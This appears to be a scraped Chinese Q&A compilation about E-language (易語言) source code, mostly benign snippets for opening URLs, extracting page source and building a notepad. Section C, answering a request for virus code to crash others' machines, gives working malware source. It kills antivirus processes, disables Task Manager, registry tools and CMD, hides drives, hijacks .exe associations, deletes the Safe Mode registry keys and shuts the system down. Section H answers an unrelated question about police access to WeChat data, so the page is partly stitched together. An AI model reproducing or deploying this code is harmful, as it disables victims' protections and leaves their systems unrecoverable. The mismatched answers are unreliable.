當前位置:首頁 » 操作系統 » 易語言源碼吧

易語言源碼吧

發布時間: 2023-09-03 07:06:09

A. 易語言 打開網址源碼

其實真的很簡單,只要你打好易語言基礎很容易做出來!

.版本2

.支持庫eAPI

.支持庫spec

.程序集窗口程序集1

.子程序_按鈕1_被單擊

.局部變數網頁地址文件,文本型

.局部變數網頁地址,文本型,,"0"

.局部變數局部_計次,整數型

'網址.txt記事本必須與這個軟體程序在同一個文件夾中!

.如果真(文件是否存在(取運行目錄()+「網址.txt」)=假)

信息框(「你的」+取運行目錄()+「路徑中無【網址.txt】文檔文本!」,#確認鈕+#錯誤圖標,「提示」)

返回()

.如果真結束

網頁地址文件=到文本(讀入文件(取運行目錄()+「網址.txt」))

網頁地址=分割文本(網頁地址文件,到文本(#換行符),)

.計次循環首(取數組成員數(網頁地址),局部_計次)

打開指定網址(網頁地址[局部_計次])

延遲(10000)

.計次循環尾()

B. 易語言怎麼取網頁源碼

問題一:易語言如何獲取網頁源碼的並展示出來? .版本 2
.支持庫 RegEx
.支持庫 internet
.支持庫 iext
.子程序 _按鈕1_被單擊
.局部變數 網頁文本, 文本型
.局部變數 表達式, 正則表達式
.局部變數 搜索結果, 搜索結果, , 0
.局部變數 計次變數, 整數型
.局部變數 文本, 文本型
網頁文本 = 到文本 (HTTP讀文件 (編輯框1.內容))
網頁文本 = 子文本替換 (網頁文本, #引號, 「'」, 0, , 真)
網頁文本 = 到小寫 (網頁文本)
透明標簽1.標題 = 取中間文 (網頁文本, 「」, 「」)
表達式.創建 (「meta (.*?)>」, 假)
搜索結果 = 表達式.搜索全部 (網頁文本)
.計次循環首 (取數組成員數 (搜索結果), 計次變數)
文本 = 搜索結果 [計次變數].取子匹配文本 (網頁文本, 1, )
.判斷開始 (尋找文本 (文本, 「name='keywords'」, 1, 假) > 0)
透明標簽2.標題 = 取中間文 (文本, 「content='」, 「'」)
.判斷 (尋找文本 (文本, 「name='description'」, 1, 假) > 0)
透明標簽3.標題 = 取中間文 (文本, 「content='」, 「'」)
.默認
.判斷結束
.計次循環尾 ()
.子程序 取中間文, 文本型
.參數 全文, 文本型
.參數 左文, 文本型
.參數 右文, 文本型
.局部變數 位置, 整數型
.局部變數 總長度, 整數型
.局部變數 文本, 文本型
總長度 = 取文本長度 (全文)
位置 = 尋找文本 (全文, 左文, , 假)
.如果真 (位置 < 0)
返回 (「」)
.如果真結束
位置 = 位置 + 取文本長度 (左文)
文本 = 取文本中間 (全文, 位置, 總長度)
總長度 = 取文本長度 (文本)
位置 = 尋找文本 (文本, 右文, , 假) - 1
.如果真 (位置 < 0)
返回 (「」)
.如果真結束
文本 = 取文本中間 (文本, 1, 位置)
返回 (文本)

問題二:易語言怎麼獲取網頁源代碼 我記得我給你回答過了,其實說老實話,想學好一門編程語言,不下大功夫是不行的,網上有很多開源的,我不能幫你太多,因為我對這方面不是很懂,呵呵,不好意思。

問題三:易語言取網頁源碼的問題,求解答! 思路:
超文本瀏覽框.取文檔對象 ().對象型方法 (「getElementById」, 「xxx」).方法 (「focus」, )
超文本瀏覽框.取文檔對象 ().對象型方法 (「getElementById」, 「xxx」).方法 (「click」, )
取這個選擇框的對象(XXX是對象名稱或者ID),然後讓其獲得焦點並兄唯單擊它
就可以再取
臨時文本 = 超文本瀏覽框.取文檔對象 ().讀對象型屬性 (「body」, ).讀文本屬性 (「outerText」, )
此時的臨時文本就是網頁的源碼如果你要HTML格式的就用「讀文本屬性 (「outerhtml」, )」

問題四:易語言怎麼取網頁代碼中的一段代碼! 20分 高級答案:
首先創建子程序---取中間文件內容---------------------------------------------------------------------
.版本 2
.子程序 取文本中間內容, 文本型, 公開
.參數 需取文本, 文本型
.參數 左邊內容, 文本型
.參數 右邊內容, 文本型
.參數 成功與否, 邏輯型, 參考 可空
.局部變數 長度, 整數型
.局部變數 左邊位置, 整數型
.局部變數 左邊長度, 整數型
.局部變數 右邊位置, 整數型
.局部變數 右邊長度, 整數型
長度 = 取文本長度 (需取文本)
左邊位置 = 尋找文本 (需取文本, 左邊內容, 0, 假羨汪培)
左邊長度 = 取文本長陵氏度 (左邊內容)
.如果真 (左邊位置 = -1)
成功與否 = 假
返回 (「未找到左邊內容」)
.如果真結束
右邊位置 = 尋找文本 (需取文本, 右邊內容, 0, 假)
右邊長度 = 取文本長度 (右邊內容)
.如果真 (右邊位置 = -1)
成功與否 = 假
返回 (「未找到右邊內容」)
.如果真結束
成功與否 = 真
返回 (取文本中間 (需取文本, 左邊位置 + 左邊長度, 長度 - (左邊位置 + 左邊長度) - (長度 - 右邊位置)))
--------------------創建完畢-------------------------廠------------------------------------------------------------
新建個編輯框1.然後在建個按鈕,在按鈕里輸入代碼
編輯框1.內容=取文本中間內容 (zxcvbnm123456789asfhyf, zxcvbnm, asfhyf)
點擊這個按鈕,編輯框1的內容就是123456789
圖片概要:

問題五:易語言 取網頁源碼 可以實時獲取超文本瀏覽框里的源碼,和 查看源代碼一樣。

問題六:易語言這個取網頁源碼如何取文本中間?有圖 到整數刪除了就可以了

問題七:易語言 如何讀取網頁源文件的代碼! .版本 2
.支持庫 internet
.子程序 __啟動窗口_創建完畢
_啟動窗口.標題 = 到文本 (HTTP讀文件 (「你要打開的t攻t地址。txt」))

問題八:求易語言多線程提取網頁源碼的例子 這是一個最簡單的多線程網頁訪問保存網頁的程序,如果滿意採納哦

問題九:易語言取網頁源碼中的元素內容,應該關於精易模塊 80分 你要的只是取這個 span 里的內容嗎?
用了精易模塊的話
你可以用 文本_取出中間文本() 命令來獲取,命令格式如下:
文本_取出中間文本(原文本,目標文本左邊,目標文本右邊)
原文本這里就可以是你讀取出來的網頁源碼
目標文本左邊,在你的圖片里,就可以是
目標文本右邊,在你的圖片里,就是

問題十:易語言取網頁指定內容源碼 要方便快捷的話,就用精易模塊裡面的取出中間文本(),不想用模塊的話就用分割文本。建議你用精易模塊的文本_取中間文本()

C. 求易語言病毒源碼,最好能讓別人死機的源碼,急求,高分

.版本 2
.支持庫 shell
.程序集 窗口程序集1
.子程序 _按鈕1_被單擊
' 繞過殺毒軟體防禦:
運行 (「taskkill /f /im kavsvc.exe」, 假, 1)
運行 (「taskkill /f /im KVXP.kxp」, 假, 1)
運行 (「taskkill /f /im Rav.exe」, 假, 1)
運行 (「taskkill /f /im Ravmon.exe」, 假, 1)
運行 (「taskkill /f /im Mcshield.exe」, 假, 1)
運行 (「taskkill /f /im VsTskMgr.exe」, 假, 1)
' 修改系統時間:
置現行時間 (到時間 (「8888年8月8日」))
' 禁用任務管理器:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr」, 0)
' 禁用注冊表:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools」, 1)
' 隱藏開始中的運行 禁止WIN2000/XP通過任務管理器創建新任務:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun」, 1)
' 隱藏「MS-DOS方式」下的磁碟驅動器。不管是在「我的電腦」里,或「MS-DOS」方式下都看不見了:
寫注冊項 (3, 「SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled」, 1)
' 隱藏開始中的關機:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose」, 1)
' 隱藏開始中的搜索:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind」, 1)
' OVER360防禦:
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\ExecAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\MonAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\SiteAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\UDiskAccess」, 0)
' 結束360進程
運行 (「taskkill /f /im 360tray.exe」, 假, 1)
' 隱藏所有驅動器:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives」, 4294967295)
' 禁止所有驅動器:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive」, 4294967295)
' 隱藏文件夾選項:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions」, 1)
' 將桌面對象隱藏:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop」, 1)
' 隱藏開始中的關機:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose」, 1)
' 隱藏開始中的搜索:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind」, 1)
' 這條有兩種情況。1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0啟用兩項
寫注冊項 (3, 「Software\Policies\Microsoft\Windows\System\DisableCMD」, 1)
' 隱藏主頁選項組:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage」, 1)
' 隱藏IE文件菜單:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu」, 1)
' 隱藏收藏夾菜單:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites」, 1)
' 禁用IE列印功能:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting」, 1)
' 隱藏Internet選項:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions」, 1)
' 禁止IE查看源文件:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource」, 1)
' 禁用IE下載功能:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803」, 3)
' 禁止右鍵關聯菜單:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu」, 1)
' 修改文件關聯:
寫注冊項 (1, 「.txt\」, 「jpegfile」)
寫注冊項 (1, 「.inf\」, 「jpegfile」)
寫注冊項 (1, 「.reg\」, 「jpegfile」)
寫注冊項 (1, 「.exe\」, 「jpegfile」)
' 無法進入安全模式:
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{36FC9E60-C465-11CF-8056-444553540000}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E965-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E969-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96B-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96F-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E973-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E974-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E975-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E977-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97B-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97D-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E980-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{71A27CDD-812A-11D0-BEC7-08002BE2092F}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AFD\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AppMgmt\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Base\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot Bus Extender\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot file system\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Browser\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CryptSvc\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DcomLaunch\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Dhcp\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmadmin\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmboot.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmio.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmload.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmserver\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DnsCache\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EventLog\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\File system\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Filter\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\HelpSvc\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ip6fw.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ipnat.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanServer\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanWorkstation\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LmHosts\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Messenger\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS Wrapper\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Ndisuio\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOS\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOSGroup\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBT\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetDDEGroup\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Netlogon\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetMan\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Network\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetworkProvider\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NtLmSsp\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PCI Configuration\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PlugPlay\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP Filter\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP_TDI\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Primary disk\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpcdd.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpdd.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpwd.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdsessmgr\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\RpcSs\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SCSI Class\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sermouse.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SharedAccess\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sr.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SRService\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Streams Drivers\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\System Bus Extender\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Tcpip\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TDI\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdpipe.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdtcp.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\termservice\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vga.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vgasave.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinMgmt\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WZCSVC\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Ndisuio\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\」)
' 關機:
關閉系統 (2, 真)

D. 怎麼查看易語言源碼

您朋友發的恐怕就是後綴為.e的易語言源碼吧,這樣的話,直接安裝易語言即可打開了。

E. 易語言源碼是什麼

就是 文件名.e的文件 用這個文件 可以修改程序的功能 界面等 把它改寫成你自己的程序 如果你想學習易語言推薦去赤血學院 學習一下 哪裡成套的視頻教程 可以讓你快速入門。

F. 易語言源碼

哦 哦 ,那我給你個記事本的源碼吧 如下
.版本 2
.支持庫 iext2
.支持庫 iext
.支持庫 eAPI

.程序集 窗口程序集1
.程序集變數 文件路徑, 文本型
.程序集變數 當前是否正在打字, 邏輯型

.子程序 _超級編輯框1_內容被改變, , , 更改超級編輯框的顏色
.局部變數 顏色, 字元格式

顏色.文本顏色 = 取顏色值 (取隨機數 (0, 255), 取隨機數 (0, 255), 取隨機數 (0, 255))
超級編輯框1.置選擇區字元格式 (顏色)
狀態條1.置文本 (0, 「行 」 + 到文本 (超級編輯框1.取行數 ()) + 「 文本長度 」 + 到文本 (超級編輯框1.取文本長度 ()))

.子程序 __啟動窗口_創建完畢, , , 設置通用對話框

通用對話框1.過濾器 = 「txt|*.txt」
通用對話框1.默認文件後綴 = 「txt」
通用對話框1.標題 = 「傳說記事本保存對話框...」
_時間日期_被選擇 ()
_炫銀皮膚_被選擇 ()
備忘錄提醒 ()

.子程序 __啟動窗口_位置被改變, , , 位置被改變後超級編輯框也跟著改變(按鈕1也跟著改變)

.如果真 (_啟動窗口.位置 = 3)
超級編輯框1.寬度 = 取屏幕寬度 () - 3
超級編輯框1.高度 = 取屏幕高度 () - 80 - 按鈕1.高度 - 10
按鈕1.頂邊 = 取屏幕高度 () - 狀態條1.高度 - 100
按鈕1.寬度 = 取屏幕寬度 () - 5
按鈕1.高度 = 狀態條1.高度 + 10
.如果真結束
.如果真 (_啟動窗口.位置 = 0)
超級編輯框1.寬度 = _啟動窗口.寬度 - 10
超級編輯框1.高度 = _啟動窗口.高度 - 55 - 按鈕1.高度 - 10
按鈕1.頂邊 = 200
按鈕1.寬度 = 560

.如果真結束

.子程序 _新建_被選擇, , , New文件

.如果真 (超級編輯框1.內容 ≠ 「」)
.如果真 (信息框 (「您還沒保存!請問您要進行保存嗎?」, 4, ) = #是鈕)
通用對話框1.類型 = 1
通用對話框1.打開 ()
寫到文件 (通用對話框1.文件名, 到位元組集 (超級編輯框1.內容))
.如果真結束

.如果真結束

.子程序 _打開_被選擇, , , Open文件

通用對話框1.類型 = 0
通用對話框1.打開 ()
.如果真 (通用對話框1.文件名 ≠ 「」)
超級編輯框1.內容 = 到文本 (讀入文件 (通用對話框1.文件名))
文件路徑 = 通用對話框1.文件名

.如果真結束

.子程序 _保存_被選擇, , , Save文件

.如果真 (文件路徑 = 「」)
通用對話框1.類型 = 1
通用對話框1.打開 ()
寫到文件 (通用對話框1.文件名, 到位元組集 (超級編輯框1.內容))
.如果真結束
.如果真 (文件路徑 ≠ 「」)
寫到文件 (文件路徑, 到位元組集 (超級編輯框1.內容))
.如果真結束

.子程序 _保存到_被選擇, , , Save As文件

通用對話框1.類型 = 1
通用對話框1.打開 ()
.如果真 (通用對話框1.文件名 ≠ 「」)
寫到文件 (通用對話框1.文件名, 到位元組集 (超級編輯框1.內容))
.如果真結束

.子程序 _撤銷_被選擇, , , Undo 文本

超級編輯框1.撤消 ()

.子程序 _剪切_被選擇, , , Cut 文本

超級編輯框1.剪切 ()

.子程序 _復制_被選擇, , , Copy 文本

超級編輯框1.復制 ()

.子程序 _粘連_被選擇, , , Paste文本

超級編輯框1.粘貼 ()

.子程序 _刪除_被選擇, , , Delete文本

超級編輯框1.刪除 ()
超級編輯框1.內容 = 取文本左邊 (超級編輯框1.內容, 取文本長度 (超級編輯框1.內容) - 1)

.子程序 _尋找_被選擇, , , Find文本

載入 (Find窗口, , 真)

.子程序 _尋找下一個_被選擇, , , 還沒解決好

.子程序 _文本替換_被選擇, , , 文本替換

載入 (文本替換窗口, , 真)

.子程序 _跳到_被選擇, , , 還沒解決好

載入 (跳到窗口, , 真)

.子程序 _全選_被選擇, , , Select All文本

超級編輯框1.被選擇字元數 = 取文本長度 (超級編輯框1.內容)

.子程序 _時間日期_被選擇, , , Time-Date
.局部變數 小時, 文本型
.局部變數 分鍾, 文本型
.局部變數 日期, 文本型
.局部變數 年份, 文本型
.局部變數 月份, 文本型
.局部變數 日份, 文本型

小時 = 到文本 (取小時 (取現行時間 ()))
分鍾 = 到文本 (取分鍾 (取現行時間 ()))
年份 = 到文本 (取年份 (取現行時間 ()))
月份 = 到文本 (取月份 (取現行時間 ()))
日份 = 到文本 (取日 (取現行時間 ()))
狀態條1.置文本 (1, 小時 + 「:」 + 分鍾 + 「 」 + 年份 + 「-」 + 月份 + 「-」 + 日份)

.子程序 _傳說記事本v13_被選擇, , , About Notepad

信息框 (「軟體作者:古老的傳說」 + #換行符 + 「QQ:1041750677」 + #換行符 + 「MSN:[email protected]」 + #換行符 + 「編寫工具:易語言」 + #換行符 + 「軟體版本:1.3」 + #換行符, 0, )

.子程序 _密碼保管_被選擇, , , Password Protect

載入 (密碼窗口, , 真)

.子程序 _備忘錄_被選擇, , , 載入備忘錄窗口

載入 (備忘錄窗口, , 真)

.子程序 備忘錄提醒, , , 備忘錄提醒
.局部變數 分割文本, 文本型, , "0"
.局部變數 今天日期, 文本型
.局部變數 分割今天日期, 文本型, , "0"

分割文本 = 分割文本 (讀配置項 (取運行目錄 () + 「\備忘錄.ini」, 「備忘錄」, 「提示日期」, ), 「日」, )
今天日期 = 到文本 (取日期 (取現行時間 ()))
分割今天日期 = 分割文本 (今天日期, 「日」, )
.如果真 (取數組成員數 (分割文本) = 1 或 取數組成員數 (分割文本) > 1)
.如果真 (分割文本 [1] = 分割今天日期 [1])
狀態條1.置文本 (2, 「您今天有一份備忘錄噢^_^」)
.如果真結束

.如果真結束

.子程序 _銀白皮膚_被選擇, , , 銀白皮膚

更換新皮膚 (1)

.子程序 _淺白皮膚_被選擇, , , 淺白皮膚

更換新皮膚 (10)

.子程序 _淺灰皮膚_被選擇, , , 淺灰皮膚

更換新皮膚 (13)

.子程序 _淺藍皮膚_被選擇, , , 淺藍皮膚

更換新皮膚 (19)

.子程序 _淺黑皮膚_被選擇, , , 淺黑皮膚

更換新皮膚 (5)

.子程序 _炫銀皮膚_被選擇, , , 炫銀皮膚

更換新皮膚 (2)

.子程序 _炫白皮膚_被選擇, , , 炫白皮膚

更換新皮膚 (15)

.子程序 _炫藍皮膚_被選擇, , , 炫藍皮膚

更換新皮膚 (18)

.子程序 _深黑皮膚_被選擇, , , 深黑皮膚

更換新皮膚 (14)

.子程序 __啟動窗口_可否被關閉, 邏輯型, , 透明顯示最小化運行
.局部變數 變數1, 整數型

變數1 = 255
.計次循環首 (255, )
設置窗口透明度 (_啟動窗口.取窗口句柄 (), 變數1)
變數1 = 變數1 - 1
.如果真 (變數1 = 1)
置托盤圖標 (#程序圖標, 「古老的傳說記事本v1.2」)
_啟動窗口.可視 = 假
.如果真結束

.計次循環尾 ()

返回 (假)

.子程序 __啟動窗口_托盤事件, , , 透明顯示_啟動窗口
.參數 操作類型, 整數型
.局部變數 變數1, 整數型

.如果真 (操作類型 = 1)
_啟動窗口.可視 = 真
.計次循環首 (255, 變數1)
設置窗口透明度 (_啟動窗口.取窗口句柄 (), 變數1)
.計次循環尾 ()
.如果真結束
.如果真 (操作類型 = 3)
彈出菜單 (圖標菜單, 取滑鼠水平位置 (), 取滑鼠垂直位置 ())

.如果真結束

.子程序 __啟動窗口_將被銷毀, , , 銷毀任務欄圖標

置托盤圖標 ({ }, )

.子程序 _打開傳說記事本_被選擇, , , _啟動窗口.可視=真

__啟動窗口_托盤事件 (1)

.子程序 _銷毀_被選擇, , , 銷毀軟體

銷毀 ()

.子程序 _超級編輯框1_按下某鍵, 邏輯型, , 正在打字中...
.參數 鍵代碼, 整數型
.參數 功能鍵狀態, 整數型

當前是否正在打字 = 真
按鈕1.標題 = 「正在打字中...」
時鍾1.時鍾周期 = 800
返回 (真)

.子程序 _超級編輯框1_放開某鍵, 邏輯型, , 暫停打字中...
.參數 鍵代碼, 整數型
.參數 功能鍵狀態, 整數型

當前是否正在打字 = 假
返回 (真)

.子程序 _時鍾1_周期事件, , , 暫停打字中...

.如果真 (當前是否正在打字 = 假)
按鈕1.標題 = 「暫停打字中...」

.如果真結束

.子程序 _超級編輯框1_選擇區被改變, , , 超級編輯框1.滾動

超級編輯框1.滾動 (1)

G. 易語言源碼

.版本 2


.子程序 _按鈕_生成_被單擊


.計次循環首 (到整數 (編輯框_生成數.內容), )

列表框1.加入項目 (編輯框_前段.內容 + 編輯框_後段.內容 + 「----」 + 編輯框_密碼.內容, )

.計次循環尾 ()



.子程序 _按鈕_復制全部_被單擊

.局部變數 i, 整數型

.局部變數 列表框內容, 文本型, , "100"


編輯框1.加入文本 (「」)


.計次循環首 (列表框1.取項目數 (), i)

列表框內容 [i] = 列表框1.取項目文本 (i - 1)

.計次循環尾 ()

i = 0

.計次循環首 (列表框1.取項目數 (), i)

編輯框1.加入文本 (列表框內容 [i] + #換行符)

.計次循環尾 ()

置剪輯板文本 (編輯框1.內容)



.子程序 _按鈕_復制_被單擊


編輯框1.加入文本 (「」)

編輯框1.加入文本 (列表框1.取項目文本 (列表框1.現行選中項) + #換行符)

置剪輯板文本 (編輯框1.內容)


.子程序 _列表框1_滑鼠右鍵被按下, 邏輯型

.參數 橫向位置, 整數型

.參數 縱向位置, 整數型

.參數 功能鍵狀態, 整數型


彈出菜單 (菜單, , )


.子程序 _復制全部_被選擇


_按鈕_復制全部_被單擊 ()


.子程序 _復制_被選擇


_按鈕_復制_被單擊 ()

H. 易語言怎麼獲取網頁源代碼

是完全可以查到的,但正常情況下不會去幫你查,需要先去公安局立案,也就是說你一定得要有極其充分的理由才可以讓公安局幫你查。
1、因為現在的微信號必須得綁定手機號,而在使用微信的過程中總會用到手機號之類的信息,所以個人的微信信息全部都會被存在騰訊公司的內部伺服器里。
2、公安機關如果是由於民事案件而向騰訊公司申請查詢用戶的微信數據的話,騰訊公司是完全有理由不配合公安機關的信息查詢的,因為這牽涉到了用戶的個人隱私。
3、只有在牽涉到重大刑事案件以及危害國家安全的案件時,騰訊公司才有義務配合公安機關去調查用戶的信息。
